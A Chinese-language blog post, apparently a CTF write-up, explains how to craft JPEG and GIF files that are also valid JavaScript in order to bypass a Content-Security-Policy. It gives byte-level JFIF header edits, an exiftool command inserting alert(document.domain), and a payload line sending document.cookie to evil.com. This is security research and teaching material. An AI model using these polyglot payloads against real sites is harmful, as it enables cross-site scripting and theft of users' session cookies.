这篇文章发表于 1037 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
今年除夕真棒,在农历新年0:02的时候做完了利用ploytlot JPEG bypass CSP
的一道题。本来能在农历去年做完的,但因为利用了别人的拉挎脚本(其实是自己眼瞎)导致耽误了不少时间。这篇文章就是详细说说各种常见类型的图片格式该如何制作。
这个脚本其实只是相对简单地直接插入了一些文本内容,但没有好好地调整格式,导致一些较严格的检查就会被拒绝上传,甚至浏览器都没法执行上面的js代码。所以在使用别人东西之前要好好阅读一下使用说明这些。
JPEG详解
为了更好理解Bypassing CSP using polyglot JPEGs技术,这里比原文更为详细地讲讲。
编码
比如上面这张图,我们尝试将它当做js文件引入到带有CSP规则限制(这里基本只允许引入本地文件)的网页中:
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none';"> |
如果你使用的是Firefox浏览器,那么可能在控制台看到这样的报错信息Uncaught SyntaxError: illegal character U+FFFD
;如果是Chrome浏览器,那么可能在控制台看到的是这样的报错信息Uncaught SyntaxError: Invalid or unexpected token
。
但是用010Editor
一搜并不能发现这个所谓的FF FD
。不管怎样,肯定是因为这个FF FD
超出了可以被浏览器理解的范围。这是charset的问题,Firefox默认使用的是UTF-8,但如果服务器有所指定Accrpt-Charset头,那可能就不一定是UTF-8。在官方文档中,注意到
在早期版本的HTTP/1.1协议中,规定了一个默认的字符集(ISO-8859-1
)。但是现在情况不同了,目前每一种内容类型都有自己的默认字符集。
这个就基本能说明这里的第一个坑,我们需要指定好一个字符集,才能不被编码困扰。上面也已经给出了可能的答案,也就是下面这个:
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none';"> |
好了,现在Firefox控制台的报错变成了Uncaught SyntaxError: illegal character U+0000
,而且出错的位置是[1.jpg:1:4]
——
算是一种进步吧,至少我们能够在010Editor
定位到比较明显的报错位置。这为我们之后修改带有payload的图片文件提供了很好的条件。
注释
我们首先得知道,如果一张jpg图片能被理解为js文件,那么它一定符合js文件的语法。如果都是一些乱码,那大概率是会报错的,就比如上面这样的U+0000
。这个东西并不能被浏览器当做js文件来理解。那为什么前面的FF DB FF E0
并没有报错呢?那是因为它被理解为了一个变量,一个由奇怪字符组成的变量。既然是变量,那么就得有对应的赋值(应当有=
在后面才符合语法规则)才能够保证这一段内容是正确的。
很显然,无论是什么想法,肯定得修改这个4h
位置的U+0000
。
第一处注释开头
好了,现在我们来了解一下这个图片格式所对应的内容。
请看这张图文件的头的格式,FF E0
是marker;那个00 10
其实对应着除去最开始FF E0
剩下的图片文件头的长度,为16;.J .F .I .F 00
这个是identifier,必须以00
结尾;之后的01 01
则是JFIF的版本号;再后面的01
和图片上像素块的密度有关;紧接着的两个00 48
是Xdensity和Ydensity;最后两个00
则分别为Xthumbnail和Ythumbnail。头格式的最后还有Thumbnail data部分(大小为3*n
bytes,n = Xthumbnail × Ythumbnail
)。
所以说,如果要制作可被识别为js的特殊jpg文件,就要修改以上的00 10
为2F 2A
(其对应的字符为/*
,到这里意图应该已经很明确了),尽可能将那些乱码涵盖到这个注释里面。因为00 10
是头的长度,所以说要把后面的内容拓展一下。使用010Editor
向00 00
和FF DB
之间插入共2F1A( = 2F2A - 10)个字符。到这一步长度已经够了,一般来说也能够凑合着用了,然而如果您有更好的效果——可以修改Xthumbnail,Ythumbnail和Thumbnail data的内容以满足等式和意义。
注意:图片中可以先搜索下有无2F 2A
或者2A 2F
,万一有的话可以考虑直接换张图片再改,以免出现意料之外的报错。
第一处注释结尾与第二处注释开头
如果您以前制作过PHP图片小马,这部分的想法也是类似的。这个直接修改图片的comment就可以了,比较推荐这个,因为不会破坏图片呈现的感觉。
1 | exiftool -Comment="*/=123;alert(document.domain);/*" payload.jpg |
当然您也可以修改上图中的IMAGE DATA
部分的内容。总之,这里有三点需要注意:
- 注释结尾
*/
将前面的乱码部分全部吞掉,后面的才是有用的js - 等号是必要的,因为图片开头的
FF DB FF E0
被理解为变量,我们这里随便给它赋个值123 - 注释之后将图片在
010Editor
中打开,我们能够发现这里比上面格式图多了FF FE
这块内容
第二处注释结尾与第三处注释
如果没有第二处注释的结尾,我们直接访问相关网页的内容就会出现Uncaught SyntaxError: unterminated comment
这样的错误。从英文来看就知道它并没有被terminated。
这个就直接在结尾部分强改就可以了,图片数据稍微错误一点没什么大不了。但是修改位置必须在FF D9
之前。
也就将最后的几个字符改为2A 2F 2F 2F FF D9
即可,也就是* / / / FF D9
,很显然这里的注释将图片内容中的乱码全部吞掉了,最后的注释//
将最后的FF D9
乱码也注释掉了。没错,现在它已经是被我们控制住的js文件了——尽管有很多乱码,但都被注释掉了。
下面这张图就是最终的结果,人眼很难看出和之前的图片的区别(其实右下角有点不同)。
最后再总结一下,这个特殊的js文件就是要构造下面这样的格式:
1 | xx/*...junkjunkjunk...*/=123;alert(document.domain);/*...junkjunkjunk...*///yy |
另外,可以使用下面这种来获取cookie:
1 | xx/*...junkjunkjunk...*/=location.href="https://evil.com/?x="+document.cookie;/*...junkjunkjunk...*///yy |
GIF
如果理解了刚刚的想法,这个操作起来更为简单。
如果不加任何修改,并以ISO-8859-1
的方式呈现出来,那么这里该怎么改呢?显然width应该要被修改为2F2Ah
,然后在后面伺机闭合注释。
但是如果你尝试下载一个GIF然后修改的话就会发现这图片里面有非常多的/*
或者*/
,这让人恼火,因为无法成功闭合一些内容,乱码终将导致报错的出现,所以只能够退而求其次了,反正GIF没法正常显示也可能可以被认为是GIF对吧……
这里有一个很好用的生成脚本,运行yasm ./gifjs.asm -o payload.gif
即可:
1 | ; a hand-made GIF containing valid JavaScript code |
生成的内容很直接,如果对图片大小有要求的话(这图片很难更小了),填充垃圾数据就好了。
PNG
经过上面两块内容的思考,很自然就会想PNG是不是也有操作的空间,是不是也能构造出一个既可以被理解为PNG又可以被理解为JS的文件?
但网上似乎并没有这种内容,虽然有把js代码写在某文件然后改个后缀这样的情况,但这显然不是我们想要达到的结果。经过简单的实践,很快就能发现PNG文件会因为文件头最开始的几个字符而出现错误。
89 50 4E 47 0D 0A 1A 0A
这个开头就特别有灵性,虽然后面的size部分就能够直接填上2F 2A
开始注释。如果存在构造的可能性,那么一定是像下面这样:
1 | ‰PNG |
看到这里心已经凉了大半截,无论怎么设置charset都不可能搞成正确格式的js文件了——即便1A
能被理解,而毕竟两个回车是明明白白摆在那里的。尝试一下,果然黔驴技穷了。基本可以断言:可以被理解为js文件的PNG文件是无法通过上面这种思路来构造的。